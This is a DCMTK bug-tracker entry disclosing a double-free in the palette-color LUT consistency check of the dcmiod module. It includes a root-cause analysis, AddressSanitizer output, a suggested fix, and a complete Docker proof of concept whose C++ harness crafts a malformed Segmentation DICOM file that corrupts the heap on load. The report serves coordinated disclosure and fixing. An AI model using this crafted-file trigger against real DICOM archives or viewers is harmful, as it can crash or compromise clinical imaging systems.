DCMTK - Bug #1241

Double free of palette color LUT

2026-07-03 10:40 - Michael Onken

Status:	Closed	**Start date:**	2026-07-03
Priority:	Normal	**Due date:**	
Assignee:	Michael Onken	**% Done:**	0%
Category:		**Estimated time:**	0:00 hour
Target version:			
Module:	dcmiod	**Compiler:**	
Operating System:			

Description

As reported by quellsec.dev:

DCMTK: double-free of palette-color LUT data in IODPaletteColorLUTModule::checkDataConsistency on a malformed green/blue LUT

Summary

DCMTK's IODPaletteColorLUTModule::checkDataConsistency retrieves the red/green/blue palette color LUT data via getXPaletteColorLookupTableData(data, ...) (each returns a fresh new[] copy) and unconditionally delete[] data after each call. The underlying getUintNDataCopy leaves its out-parameter unchanged on every failure path, and the caller never resets data = NULL between calls. A palette whose red LUT is valid but green (or blue) LUT is malformed therefore frees the red copy twice.

Reachable via a crafted PALETTE COLOR DICOM object. Found by the analyze.sh static cppcheck pass (doubleFree), not by the prior agentic dcmtk audits.

Affected version

- Target: dcmtk
- Commit read: 7246c5a9ca64c2d4312774bf40d046e255c00a41
- Bug is in library code (dcmiod/libsrc/modpalettecolorlut.cc).

Crash

AddressSanitizer: double-free (FREE). Crash site: dcmiod/libsrc/modpalettecolorlut.cc:741 in IODPaletteColorLUTModule::checkDataConsistency (duplicate in the 16-bit branch at :758/:763).

Root cause

The accessor returns a copy and, on failure, does not touch the out-param:

dcmiod/libsrc/modpalettecolorlut.cc:234

bc(cpp). return getUint8DataCopy(DCM_RedPaletteColorLookupTableData, dataCopy, numEntries);

(getUint8DataCopy returns EC_IllegalParameter / IOD_EC_InvalidColorPalette without assigning lutData on numBits/descriptor/entry-count mismatch.)

dcmiod/libsrc/modpalettecolorlut.cc:736-741

```
bc(cpp). result = getRedPaletteColorLookupTableData(data, redActualNumEntries);
delete[] data;                  // red copy freed; data now dangling
if (result.good()) {
result = getGreenPaletteColorLookupTableData(data, greenActualNumEntries);
delete[] data;                  // if green failed, data is still the freed red copy -> double free
```

}

Reproduction

Call path:

bc. PALETTE COLOR DICOM object -> IODPaletteColorLUTModule::checkDataConsistency
-> getRed...Data(data) ok (new[]) -> delete[] data
-> getGreen...Data(data) FAILS without reassigning data (e.g. entry-count mismatch)
-> delete[] data (double-free of the red copy)

Reproduction status: yes-rebuilt-and-ran (harness-only-abort). A harness drives the real IODPaletteColorLUTModule::checkDataConsistency. ASan reports a double-free (delete[]) at #1 checkDataConsistency modpalettecolorlut.cc:741; the first free is at :737 and the allocation at getUint8DataCopy :879. Reached when a crafted PALETTE COLOR LUT object is parsed. See poc/asan_output.txt. verified in source). needs-dynamic to craft the exact red-valid/green-invalid palette and confirm checkDataConsistency runs on the read/validate path. Discovery: cppcheck.

Proof of Concept

Self-contained. docker build clones the target at the pinned commit and builds it under AddressSanitizer + UndefinedBehaviorSanitizer; docker run feeds the crafted input and reproduces the fault. Save the files below into a poc/ directory and:

bc. docker build -t poc . && docker run --rm poc

Sanitizer outputSanitizer output

```
=== dcmtk palette-LUT-data double-free via DcmSegmentation::loadFile (expect ASan attempting doubl
e-free at modpalettecolorlut.cc:741) ===
[poc] DcmSegmentation::loadFile(/tmp/ics248_palette_seg.dcm) -- ASan double-free expected in IODPa
letteColorLUTModule::checkDataConsistency
W: PatientName (0010,0010) absent in PatientModule (type 2)
W: PatientID (0010,0020) absent in PatientModule (type 2)
W: PatientBirthDate (0010,0030) absent in PatientModule (type 2)
W: PatientSex (0010,0040) absent in PatientModule (type 2)
W: StudyDate (0008,0020) absent in GeneralStudyModule (type 2)
W: StudyTime (0008,0030) absent in GeneralStudyModule (type 2)
W: AccessionNumber (0008,0050) absent in GeneralStudyModule (type 2)
W: ReferringPhysicianName (0008,0090) absent in GeneralStudyModule (type 2)
W: StudyInstanceUID (0020,000d) absent in GeneralStudyModule (type 1)
W: StudyID (0020,0010) absent in GeneralStudyModule (type 2)
W: SeriesInstanceUID (0020,000e) absent in GeneralSeriesModule (type 1)
W: FrameOfReferenceUID (0020,0052) absent in FrameOfReferenceModule (type 1)
W: PositionReferenceIndicator (0020,1040) absent in FrameOfReferenceModule (type 2)
W: LossyImageCompression (0028,2110) absent in GeneralImageModule (type 1)
W: Problem with reading Image Pixel attributes: Invalid Pixel Data (ignoring)
W: Modality (0008,0060) absent in SegmentationSeriesModule (type 1)
W: SeriesNumber (0020,0011) absent in SegmentationSeriesModule (type 1)
W: Manufacturer (0008,0070) absent in EnhancedGeneralEquipmentModule (type 1)
W: ManufacturerModelName (0008,1090) absent in EnhancedGeneralEquipmentModule (type 1)
W: DeviceSerialNumber (0018,1000) absent in EnhancedGeneralEquipmentModule (type 1)
W: SoftwareVersions (0018,1020) absent in EnhancedGeneralEquipmentModule (type 1)
W: ContentDate (0008,0023) absent in MultiframeFunctionalGroupsModule (type 1)
W: ContentTime (0008,0033) absent in MultiframeFunctionalGroupsModule (type 1)
W: NumberOfFrames (0028,0008) absent in MultiframeFunctionalGroupsModule (type 1)
W: ContentDate (0008,0023) absent in MultiframeFunctionalGroupsModule (type 1)
W: ContentTime (0008,0033) absent in MultiframeFunctionalGroupsModule (type 1)
W: NumberOfFrames (0028,0008) absent in MultiframeFunctionalGroupsModule (type 1)
E: Could not find Shared Functional Group Sequence
W: DimensionOrganizationSequence (0020,9221) absent in MultiframeDimensionModule (type 1)
W: DimensionIndexSequence (0020,9222) absent in MultiframeDimensionModule (type 1)
W: DimensionIndexSequence (0020,9222) absent in MultiframeDimensionModule (type 1)
W: DimensionOrganizationSequence (0020,9221) absent in MultiframeDimensionModule (type 1)
W: SegmentSequence (0062,0002) absent in SegmentationImageModule (type 1)
W: InstanceNumber (0020,0013) absent in ContentIdentificationMacro (type 1)
W: ContentLabel (0070,0080) absent in ContentIdentificationMacro (type 1)
```

```
W: ContentDescription (0070,0081) absent in ContentIdentificationMacro (type 2)
W: ContentCreatorName (0070,0084) absent in ContentIdentificationMacro (type 2)
E: Green Palette Color LUT Data or Descriptor missing
E: Blue Palette Color LUT Data or Descriptor missing
=================================================================
==10==ERROR: AddressSanitizer: attempting double-free on 0x5020000e65b0 in thread T0:
    #0 0x7f0eb74931f8 in operator delete[](void*) ../../../../src/libsanitizer/asan/asan_new_delet
e.cpp:155
    #1 0x563bbd4bb1a7 in IODPaletteColorLUTModule::checkDataConsistency(bool const&amp;) /src/dcmi
od/libsrc/modpalettecolorlut.cc:741
    #2 0x563bbd49ce00 in IODPaletteColorLUTModule::read(DcmItem&amp;, bool) /src/dcmiod/libsrc/mod
palettecolorlut.cc:131
    #3 0x563bbcee1ebf in DcmSegmentation::readWithoutPixelData(DcmItem&amp;) /src/dcmseg/libsrc/se
gdoc.cc:481
    #4 0x563bbcedf8df in DcmSegmentation::read(DcmItem&amp;) /src/dcmseg/libsrc/segdoc.cc:424
    #5 0x563bbced7bfd in DcmSegmentation::loadDataset(DcmDataset&amp;, DcmSegmentation*&amp;, DcmS
egmentation::LoadingFlags const&amp;) /src/dcmseg/libsrc/segdoc.cc:214
    #6 0x563bbced7027 in DcmSegmentation::loadFile(std::__cxx11::basic_string&lt;char, std::char_t
raits&lt;char&gt;, std::allocator&lt;char&gt; &gt; const&amp;, DcmSegmentation*&amp;, DcmSegmentat
ion::LoadingFlags const&amp;) /src/dcmseg/libsrc/segdoc.cc:193
    #7 0x563bbceccf35 in main /poc/harness.cc:136

0x5020000e65b0 is located 0 bytes inside of 4-byte region [0x5020000e65b0,0x5020000e65b4)
freed by thread T0 here:
    #0 0x7f0eb74931f8 in operator delete[](void*) ../../../../src/libsanitizer/asan/asan_new_delet
e.cpp:155
    #1 0x563bbd4baf78 in IODPaletteColorLUTModule::checkDataConsistency(bool const&amp;) /src/dcmi
od/libsrc/modpalettecolorlut.cc:737
    #2 0x563bbd49ce00 in IODPaletteColorLUTModule::read(DcmItem&amp;, bool) /src/dcmiod/libsrc/mod
palettecolorlut.cc:131
    #3 0x563bbcee1ebf in DcmSegmentation::readWithoutPixelData(DcmItem&amp;) /src/dcmseg/libsrc/se
gdoc.cc:481
    #4 0x563bbcedf8df in DcmSegmentation::read(DcmItem&amp;) /src/dcmseg/libsrc/segdoc.cc:424
    #5 0x563bbced7bfd in DcmSegmentation::loadDataset(DcmDataset&amp;, DcmSegmentation*&amp;, DcmS
egmentation::LoadingFlags const&amp;) /src/dcmseg/libsrc/segdoc.cc:214
    #6 0x563bbced7027 in DcmSegmentation::loadFile(std::__cxx11::basic_string&lt;char, std::char_t
raits&lt;char&gt;, std::allocator&lt;char&gt; &gt; const&amp;, DcmSegmentation*&amp;, DcmSegmentat
ion::LoadingFlags const&amp;) /src/dcmseg/libsrc/segdoc.cc:193
    #7 0x563bbceccf35 in main /poc/harness.cc:136

previously allocated by thread T0 here:
    #0 0x7f0eb74926c8 in operator new[](unsigned long) ../../../../src/libsanitizer/asan/asan_new_
delete.cpp:98
    #1 0x563bbd4c2e81 in IODPaletteColorLUTModule::getUint8DataCopy(DcmTagKey const&amp;, unsigned
 char const*&amp;, unsigned long&amp;) /src/dcmiod/libsrc/modpalettecolorlut.cc:879
    #2 0x563bbd4a2213 in IODPaletteColorLUTModule::getRedPaletteColorLookupTableData(unsigned char
 const*&amp;, unsigned long&amp;) /src/dcmiod/libsrc/modpalettecolorlut.cc:232
    #3 0x563bbd4baed2 in IODPaletteColorLUTModule::checkDataConsistency(bool const&amp;) /src/dcmi
od/libsrc/modpalettecolorlut.cc:736
    #4 0x563bbd49ce00 in IODPaletteColorLUTModule::read(DcmItem&amp;, bool) /src/dcmiod/libsrc/mod
palettecolorlut.cc:131
    #5 0x563bbcee1ebf in DcmSegmentation::readWithoutPixelData(DcmItem&amp;) /src/dcmseg/libsrc/se
gdoc.cc:481
    #6 0x563bbcedf8df in DcmSegmentation::read(DcmItem&amp;) /src/dcmseg/libsrc/segdoc.cc:424
    #7 0x563bbced7bfd in DcmSegmentation::loadDataset(DcmDataset&amp;, DcmSegmentation*&amp;, DcmS
egmentation::LoadingFlags const&amp;) /src/dcmseg/libsrc/segdoc.cc:214
    #8 0x563bbced7027 in DcmSegmentation::loadFile(std::__cxx11::basic_string&lt;char, std::char_t
raits&lt;char&gt;, std::allocator&lt;char&gt; &gt; const&amp;, DcmSegmentation*&amp;, DcmSegmentat
ion::LoadingFlags const&amp;) /src/dcmseg/libsrc/segdoc.cc:193
    #9 0x563bbceccf35 in main /poc/harness.cc:136

SUMMARY: AddressSanitizer: double-free ../../../../src/libsanitizer/asan/asan_new_delete.cpp:155 i
n operator delete[](void*)
==10==ABORTING
```

[.dockerignore (crafted input).dockerignore (crafted input)]

bc(text). # Stale host-built artifacts: never ship into the build context.

1. The image rebuilds everything from a clean upstream clone.
   dcmtk-build/
   build-asan/
   harness
   .o
   .a
   build.log
   *.poc.zip

[build.shbuild.sh]

```
#!/usr/bin/env bash
# Build the dcmtk palette-LUT-data double-free PoC.
#
# Self-contained: DCMTK source lives at $LIB (=/src, cloned at the pinned
# commit by the Dockerfile); the harness is compiled in the poc dir (/poc).
# No host paths, no private image. A full dcmtk build is enormous, so we build
# ONLY the modules this PoC reaches. The harness drives the real file-read
# entry point DcmSegmentation::loadFile() (dcmseg, which pulls in dcmfg for
# functional groups) rather than calling checkDataConsistency() directly, so
# dcmfg and dcmseg join the module set (dcmiod still carries the actual bug in
# modpalettecolorlut.cc). Sanitizer matrix (triage default):
#   -fsanitize=address,undefined -fno-sanitize-recover=undefined
# -O0 keeps every frame in the call chain (loadFile -&gt; loadDataset -&gt; read -&gt;
# readWithoutPixelData -&gt; IODPaletteColorLUTModule::read -&gt; checkData-
# Consistency) visible in the ASan trace instead of inlined away.
set -euo pipefail

SRC=&quot;${LIB:-/src}&quot;
POC=&quot;$(cd &quot;$(dirname &quot;$0&quot;)&quot; &amp;&amp; pwd)&quot;
BUILD=&quot;$SRC/build-asan&quot;

MODULES=&quot;ofstd;oflog;oficonv;dcmdata;dcmimgle;dcmiod;dcmfg;dcmseg&quot;
MAKE_TARGETS=&quot;dcmseg dcmfg dcmiod dcmimgle dcmdata oflog ofstd oficonv&quot;
LINK_LIBS=&quot;-ldcmseg -ldcmfg -ldcmiod -ldcmimgle -ldcmdata -loflog -lofstd -loficonv&quot;
INC_MODULES=&quot;ofstd oflog oficonv dcmdata dcmimgle dcmiod dcmfg dcmseg&quot;

SAN=&quot;-fsanitize=address,undefined -fno-sanitize-recover=undefined -fno-omit-frame-pointer -g
-O0&quot;
CXX=&quot;${CXX:-g++}&quot;

if [ ! -f &quot;$BUILD/.configured&quot; ]; then
  mkdir -p &quot;$BUILD&quot;; cd &quot;$BUILD&quot;
  cmake -G &quot;Unix Makefiles&quot; &quot;$SRC&quot; \
    -DCMAKE_BUILD_TYPE=Debug \
    -DBUILD_SHARED_LIBS=OFF -DBUILD_APPS=OFF \
    -DDCMTK_MODULES=&quot;$MODULES&quot; \
    -DDCMTK_WITH_ZLIB=OFF -DDCMTK_WITH_OPENSSL=OFF -DDCMTK_WITH_PNG=OFF \
    -DDCMTK_WITH_TIFF=OFF -DDCMTK_WITH_XML=OFF -DDCMTK_WITH_ICONV=OFF \
    -DDCMTK_WITH_ICU=OFF -DDCMTK_WITH_OPENJPEG=OFF \
    -DDCMTK_ENABLE_CHARSET_CONVERSION=oficonv \
    -DCMAKE_C_FLAGS=&quot;$SAN&quot; -DCMAKE_CXX_FLAGS=&quot;$SAN&quot; -DCMAKE_EXE_LINKER_FLAGS=&
quot;$SAN&quot;
  touch &quot;$BUILD/.configured&quot;
fi

cd &quot;$BUILD&quot;
make -j&quot;$(nproc)&quot; $MAKE_TARGETS

LIBDIR=&quot;&quot;
for d in &quot;$BUILD/lib&quot; &quot;$BUILD&quot;; do
  if ls &quot;$d&quot;/libdcmseg.a &gt;/dev/null 2&gt;&amp;1; then LIBDIR=&quot;$d&quot;; break; f
i
done
```

```
[ -n &quot;$LIBDIR&quot; ] || { echo &quot;FAIL: dcmtk libs not found&quot;; find &quot;$BUILD&quo
t; -name 'lib*.a'; exit 1; }
echo &quot;libs in: $LIBDIR&quot;

INCS=&quot;-I$SRC/config/include -I$BUILD/config/include&quot;
for m in $INC_MODULES; do INCS=&quot;$INCS -I$SRC/$m/include&quot;; done

&quot;$CXX&quot; $SAN $INCS &quot;$POC/harness.cc&quot; -o &quot;$POC/harness&quot; \
  -L&quot;$LIBDIR&quot; $LINK_LIBS -lpthread

echo &quot;BUILT: $POC/harness&quot;
```

run.shrun.sh

```
#!/usr/bin/env bash
# Run the dcmtk palette-LUT-data double-free PoC.
# The harness writes a crafted PALETTE COLOR Segmentation Storage object to
# an on-disk DICOM Part-10 file and loads it back through the real file-read
# entry point DcmSegmentation::loadFile(), which drives DcmSegmentation::read()
# -&gt; IODPaletteColorLUTModule::read() -&gt; checkDataConsistency().
# Expect an AddressSanitizer &quot;attempting double-free&quot; in
# IODPaletteColorLUTModule::checkDataConsistency at
# dcmiod/libsrc/modpalettecolorlut.cc:741.
set -uo pipefail
POC=&quot;$(cd &quot;$(dirname &quot;$0&quot;)&quot; &amp;&amp; pwd)&quot;
SRC=&quot;${LIB:-/src}&quot;
export DCMDICTPATH=&quot;$SRC/dcmdata/data/dicom.dic&quot;
export ASAN_OPTIONS=&quot;abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1&quot;
export ASAN_SYMBOLIZER_PATH=&quot;${ASAN_SYMBOLIZER_PATH:-$(command -v llvm-symbolizer || true)}&q
uot;

echo &quot;=== dcmtk palette-LUT-data double-free via DcmSegmentation::loadFile (expect ASan attem
pting double-free at modpalettecolorlut.cc:741) ===&quot;
&quot;$POC/harness&quot;
rc=$?
echo &quot;=== exit: $rc ===&quot;
exit &quot;$rc&quot;
```

DockerfileDockerfile

```
# Self-contained reproducer image for dcmtk (DCMTK DICOM toolkit) findings.
#
# Clones DCMTK at the exact commit the finding was verified against and builds
# ONLY the dcmtk modules the PoC needs (a full dcmtk build is enormous) with
# AddressSanitizer + UndefinedBehaviorSanitizer, then compiles the finding's
# harness against those sanitized static libs. No private base image and no
# local source tree are needed: a maintainer runs the two commands below and
# reproduces the crash from a clean machine.
#
#   docker build -t poc .
#   docker run --rm poc
#
# build.sh does the scoped module build (cmake -DDCMTK_MODULES=&quot;...&quot; + make of
# just the needed targets) and the harness compile, so the per-finding module
# set lives in build.sh and this Dockerfile is identical for every dcmtk PoC.
#
# Toolchain: GCC (g++) + libasan/libubsan, the exact toolchain these findings
# were triaged under (their reference asan_output.txt traces show GCC's
# libsanitizer). It matters: one finding (the diluptab big-endian PoC) drives
# the library's big-endian branch by writing the runtime byte-order global
# through a const_cast; clang places that global read-only and elides the UB
# store, so the bug would not reproduce under clang. GCC reproduces it.
FROM ubuntu:24.04

# Pinned in pipeline/targets.yaml (dcmtk.commit). Override at build time with
```

```
# --build-arg COMMIT=&lt;sha&gt; to reproduce against another revision.
ARG COMMIT=7246c5a9ca64c2d4312774bf40d046e255c00a41
ENV DEBIAN_FRONTEND=noninteractive LIB=/src CC=gcc CXX=g++

RUN apt-get update &amp;&amp; apt-get install -y --no-install-recommends \
        git ca-certificates g++ gcc libasan8 libubsan1 cmake make \
    &amp;&amp; rm -rf /var/lib/apt/lists/*

RUN git clone https://github.com/DCMTK/dcmtk /src \
 &amp;&amp; git -C /src checkout &quot;$COMMIT&quot;

WORKDIR /poc
COPY . /poc
RUN bash build.sh
CMD [&quot;bash&quot;, &quot;run.sh&quot;]
```

harness.ccharness.cc

```
/*
 * PoC harness: ICS-248 dcmtk-palette-lut-data-double-free (read-path variant)
 *
 * Bug (CWE-415 double-free), library file/line (dcmiod/libsrc/modpalettecolorlut.cc):
 *   IODPaletteColorLUTModule::checkDataConsistency(), 8-bit branch:
 *     735   const Uint8* data = NULL;
 *     736   result = getRedPaletteColorLookupTableData(data, redActualNumEntries);  // new[] copy
 *     737   delete[] data;                                                           // first free
 *     740       result = getGreenPaletteColorLookupTableData(data, greenActualNumEntries);
 *     741       delete[] data;                                                       // second fre
e (double-free)
 *   getUint8DataCopy() (line 843) only assigns its `lutData` out-param on the
 *   success path (line 899); every failure return (e.g. line 856:
 *   findAndGetUint16Array() fails because the Green tag is absent) leaves the
 *   caller's `data` pointer unchanged, i.e. still pointing at the freed Red copy.
 *
 * Real read-path entry point (this harness drives this chain, not a synthetic
 * subclass poking checkDataConsistency directly):
 *
 *   DcmSegmentation::loadFile(filename, segmentation)     segdoc.cc:185
 *     -&gt; DcmFileFormat::loadFile(...)                       dcfilefo.cc (real DICOM
 *                                                          Part-10 file parser)
 *     -&gt; DcmSegmentation::loadDataset(dataset, ...)         segdoc.cc:198
 *          -&gt; createRequiredBitDepth(dataset, temp)         segdoc.cc:397
 *          -&gt; temp-&gt;read(dataset)                            segdoc.cc:419
 *               -&gt; readWithoutPixelData(dataset)             segdoc.cc:435
 *                    -&gt; m_PaletteColorLUTModule.read(dataset) modpalettecolorlut.cc:117
 *                         -&gt; checkDataConsistency(OFFalse)     modpalettecolorlut.cc:699 &lt;-
- BUG
 *
 * This is the path DCMTK-based PACS/viewer/archive software actually takes to
 * ingest an attacker-supplied Segmentation Storage object -- received over a
 * DIMSE C-STORE association, a DICOMweb STOW-RS upload, or imported from
 * removable media -- and saved/handed to the file loader. The crafted state
 * lives entirely in real DICOM data-set elements (SOP Class UID, Bits
 * Allocated, Photometric Interpretation, the three Palette Color LUT
 * Descriptors, and a valid Red / absent Green LUT Data element) written to an
 * on-disk DICOM Part-10 file and then re-parsed by the real file loader --
 * not hand-set C++ object state.
 */

#include &quot;dcmtk/config/osconfig.h&quot;
#include &quot;dcmtk/dcmdata/dctk.h&quot;
#include &quot;dcmtk/dcmseg/segdoc.h&quot;

#include &lt;cstdio&gt;
#include &lt;cstdlib&gt;
```

```
/* Populate the crafted PALETTE COLOR Segmentation dataset through the public
 * dcmdata element API. Every element here is a real DICOM attribute that
 * DcmSegmentation::readWithoutPixelData() / IODPaletteColorLUTModule::read()
 * consult on the parse path -- see the per-field comments below for the exact
 * check each one satisfies. */
static void build_palette_dataset(DcmDataset &amp;ds)
{
    /* readWithoutPixelData()'s SOP-class gate (segdoc.cc:438) rejects
     * anything that isn't Segmentation/Labelmap Storage before it ever
     * reaches the palette module -- so the crafted object must claim it. */
    ds.putAndInsertOFStringArray(DCM_SOPClassUID, UID_SegmentationStorage);
    ds.putAndInsertOFStringArray(DCM_SOPInstanceUID, &quot;1.2.3.4.5.6.7.8.9&quot;);

    /* createRequiredBitDepth() (segdoc.cc:397-406) reads Bits Allocated to
     * decide which IODImagePixelModule&lt;T&gt; specialization to instantiate;
     * loadDataset() (segdoc.cc:206) bails out before ever constructing a
     * DcmSegmentation if this tag is absent/unreadable. 8 selects the 8-bit
     * branch of checkDataConsistency (modpalettecolorlut.cc:732-748). */
    ds.putAndInsertUint16(DCM_BitsAllocated, 8);

    /* readWithoutPixelData() (segdoc.cc:478-482) only invokes
     * m_PaletteColorLUTModule.read() when Photometric Interpretation is
     * exactly &quot;PALETTE COLOR&quot;. */
    ds.putAndInsertOFStringArray(DCM_PhotometricInterpretation, &quot;PALETTE COLOR&quot;);

    /* Descriptors [numEntries=4, firstMapped=0, bitsPerEntry=8] for R/G/B.
     * numBits() (modpalettecolorlut.cc:609-634) requires all three present,
     * mutually equal, and 8 or 16 -- this selects the 8-bit branch.
     * checkSegmentConsistency() (modpalettecolorlut.cc:794-840) also needs at
     * least one *unsegmented* descriptor + one unsegmented data element
     * present, or IODPaletteColorLUTModule::read() takes the `isSegmented`
     * early-out at line 125 and never calls checkDataConsistency() at all. */
    const Uint16 desc[3] = { 4, 0, 8 };
    ds.putAndInsertUint16Array(DCM_RedPaletteColorLookupTableDescriptor, desc, 3);
    ds.putAndInsertUint16Array(DCM_GreenPaletteColorLookupTableDescriptor, desc, 3);
    ds.putAndInsertUint16Array(DCM_BluePaletteColorLookupTableDescriptor, desc, 3);

    /* Red LUT Data: valid -- 2 packed 16-bit words encoding 4 8-bit entries.
     * getUint8DataCopy() (modpalettecolorlut.cc:843-902) reads this via
     * findAndGetUint16Array() (line 856), checks 4 == 2*2 (line 873), and
     * allocates+returns a fresh Uint8[4] copy (line 879/899). checkData-
     * Consistency() frees that copy right back at line 737 -- the first free. */
    const Uint16 redWords[2] = { 0x1020, 0x3040 };
    ds.putAndInsertUint16Array(DCM_RedPaletteColorLookupTableData, redWords, 2);

    /* Green (and Blue) LUT Data tags are deliberately ABSENT. When
     * getUint8DataCopy() is called for DCM_GreenPaletteColorLookupTableData,
     * its findAndGetUint16Array() (line 856) fails (tag not found) and the
     * function returns without ever touching its `lutData` out-param (the
     * whole success block at lines 857-900 is skipped). Back in
     * checkDataConsistency(), `data` (modpalettecolorlut.cc:735) therefore
     * still holds the pointer that was just freed for Red, and line 741
     * frees it a second time. */
}

/* Serialize the crafted dataset to an exact-size DICOM Part-10 file at `path`
 * using the real dcmdata writer + meta-header validator (DcmFileFormat::
 * saveFile() -&gt; validateMetaInfo(), dcfilefo.cc). This produces the same
 * on-disk byte layout a network receiver or media importer would have
 * written before handing the file to the real loader below. */
static void write_crafted_file(const char *path)
{
    DcmFileFormat fileformat;
    build_palette_dataset(*fileformat.getDataset());

    OFCondition cond = fileformat.saveFile(path, EXS_LittleEndianExplicit);
    if (cond.bad())
```

```
    {
        std::fprintf(stderr, &amp;quot;[poc] failed to write crafted DICOM file: %s\n&amp;quot;, cond.text
());
        std::exit(2);
    }
}

int main()
{
    const char *path = &amp;quot;/tmp/ics248_palette_seg.dcm&amp;quot;;
    write_crafted_file(path);

    std::fprintf(stderr,
        &amp;quot;[poc] DcmSegmentation::loadFile(%s) -- ASan double-free expected in &amp;quot;
        &amp;quot;IODPaletteColorLUTModule::checkDataConsistency\n&amp;quot;, path);

    /* THE PoC, kept inline: the real public entry point a DICOM-consuming
     * application calls to ingest a Segmentation Storage object from disk.
     * Internally this drives DcmFileFormat's real Part-10 parser, then
     * DcmSegmentation::read() -&amp;gt; IODPaletteColorLUTModule::read() -&amp;gt;
     * checkDataConsistency(), which double-frees the Red LUT copy at
     * modpalettecolorlut.cc:741. */
    DcmSegmentation *segmentation = NULL;
    OFCondition result = DcmSegmentation::loadFile(path, segmentation);

    std::fprintf(stderr, &amp;quot;[poc] loadFile returned: %s (no abort - unexpected)\n&amp;quot;, result
.text());
    delete segmentation;
    std::remove(path);
    return 1;
}
```

Impact

Double-free (heap corruption) from a crafted PALETTE COLOR DICOM object. Corruption primitive (crash, potentially exploitable). Both 8-bit and 16-bit branches affected. Severity: high.

Suggested fix

Set data = NULL after each delete[] (and have getUintNDataCopy reset its out-param to NULL on every failure return).

History

#1 - 2026-07-03 11:15 - Michael Onken

- Status changed from New to Closed

Closed with commit 99bae4afd570be5f8167dc1d5f48932c00e7346e.